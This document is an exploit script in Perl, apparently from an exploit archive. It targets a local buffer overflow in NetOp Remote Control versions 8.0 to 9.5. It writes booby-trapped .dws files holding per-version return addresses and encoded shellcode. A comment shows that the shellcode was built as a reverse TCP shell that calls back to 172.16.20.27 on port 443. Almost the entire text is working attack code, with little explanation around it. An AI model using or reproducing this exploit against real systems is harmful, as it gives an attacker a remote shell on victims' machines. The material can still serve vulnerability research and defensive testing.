NetOp Remote Control 8.0/9.1/9.2/9.5 – Local Buffer Overflow
# Exploit Title: NetOp Remote Control Buffer Overflow # Date: April 28, 2011 # Author: chap0 # Version: 8.0, 9.1, 9.2, 9.5 (Possibly anything before ver 10) # Upgrade to Version 10 for fix # Tested on: Windows XP SP3 # # Greetz to JJ IE by day Ninja by night, br34dcrumb5, myne-us, Exploit-DB, Corelan # # #!/usr/bin/perl $file0 = "netop80.dws"; $file1 = "netop91.dws"; $file2 = "netop92.dws"; $file3 = "netop95.dws"; my $junk="\x41" x 524; my $ret0 = "\x9B\xC2\x40\x20"; #0x2040C29B [nupdate.dll] my $ret1 = "\xB3\xE9\x3D\x20"; #0x203DE9B3 [nupdate.dll] my $ret2 = "\x1B\xFC\x44\x20"; #0x2044FC1B [nupdate.dll] my $ret3 = "\x13\x26\xB5\x20"; #0x20B52613 [nupdate.dll] my $extra = "\x41" x 20; #./msfpayload windows/shell_reverse_tcp LHOST=172.16.20.27 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t perl #[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1) my $shellcode= "\xb8\x34\xc1\xf5\xcc\xdb\xd1\xd9\x74\x24\xf4\x5a\x33\xc9" . "\xb1\x4f\x31\x42\x14\x03\x42\x14\x83\xc2\x04\xd6\x34\x09" . "\x24\x9f\xb7\xf2\xb5\xff\x3e\x17\x84\x2d\x24\x53\xb5\xe1" . "\x2e\x31\x36\x8a\x63\xa2\xcd\xfe\xab\xc5\x66\xb4\x8d\xe8" . "\x77\x79\x12\xa6\xb4\x18\xee\xb5\xe8\xfa\xcf\x75\xfd\xfb" . "\x08\x6b\x0e\xa9\xc1\xe7\xbd\x5d\x65\xb5\x7d\x5c\xa9\xb1" . "\x3e\x26\xcc\x06\xca\x9c\xcf\x56\x63\xab\x98\x4e\x0f\xf3" . "\x38\x6e\xdc\xe0\x05\x39\x69\xd2\xfe\xb8\xbb\x2b\xfe\x8a" . "\x83\xe7\xc1\x22\x0e\xf6\x06\x84\xf1\x8d\x7c\xf6\x8c\x95" . "\x46\x84\x4a\x10\x5b\x2e\x18\x82\xbf\xce\xcd\x54\x4b\xdc" . "\xba\x13\x13\xc1\x3d\xf0\x2f\xfd\xb6\xf7\xff\x77\x8c\xd3" . "\xdb\xdc\x56\x7a\x7d\xb9\x39\x83\x9d\x65\xe5\x21\xd5\x84" . "\xf2\x53\xb4\xc0\x37\x69\x47\x11\x50\xfa\x34\x23\xff\x50" . "\xd3\x0f\x88\x7e\x24\x6f\xa3\xc6\xba\x8e\x4c\x36\x92\x54" . "\x18\x66\x8c\x7d\x21\xed\x4c\x81\xf4\xa1\x1c\x2d\xa7\x01" . "\xcd\x8d\x17\xe9\x07\x02\x47\x09\x28\xc8\xfe\x0e\xbf\x5f" . "\x10\x84\x5b\xc8\x13\xa4\x5a\xb3\x9d\x42\x36\xd3\xcb\xdd" . "\xaf\x4a\x56\x95\x4e\x92\x4c\x3d\xf2\x01\x0b\xbd\x7d\x3a" . "\x84\xea\x2a\x8c\xdd\x7e\xc7\xb7\x77\x9c\x1a\x21\xbf\x24" . "\xc1\x92\x3e\xa5\x84\xaf\x64\xb5\x50\x2f\x21\xe1\x0c\x66" . "\xff\x5f\xeb\xd0\xb1\x09\xa5\x8f\x1b\xdd\x30\xfc\x9b\x9b" . "\x3c\x29\x6a\x43\x8c\x84\x2b\x7c\x21\x41\xbc\x05\x5f\xf1" . "\x43\xdc\xdb\x01\x0e\x7c\x4d\x8a\xd7\x15\xcf\xd7\xe7\xc0" . "\x0c\xee\x6b\xe0\xec\x15\x73\x81\xe9\x52\x33\x7a\x80\xcb" . "\xd6\x7c\x37\xeb\xf2"; print<<EOF; NetOp Remote Control Buffer Overflow By chap0 - www.seek-truth.net Choose a number for the version of NetOp are you attacking: 0 - NetOp 8.0 1 - NetOp 9.1 2 - NetOp 9.2 3 - Netop 9.5 EOF print "Selection: "; chomp ($select = <STDIN>); if ($select =~ 0) { print "Creating payload for NetOp 8.0\n"; my $payload=$junk.$ret0.$extra.$shellcode; open(FILE,">$file0"); print FILE $payload; close(FILE); print "Done.\n"; } elsif ($select =~ 1) { print "Creating payload for NetOp 9.1\n"; my $payload=$junk.$ret1.$extra.$shellcode; open(FILE,">$file1"); print FILE $payload; close(FILE); print "Done.\n"; } elsif ($select =~ 2) { print "Creating payload for NetOp 9.2\n"; my $payload=$junk.$ret2.$extra.$shellcode; open(FILE,">$file2"); print FILE $payload; close(FILE); print "Done.\n"; } elsif ($select =~ 3) { print "Creating payload for NetOp 9.5\n"; my $payload=$junk.$ret3.$extra.$shellcode; open(FILE,">$file3"); print FILE $payload; close(FILE); print "Done.\n"; } elsif ($select =~ '') { print "Please make a selection.\n"; } |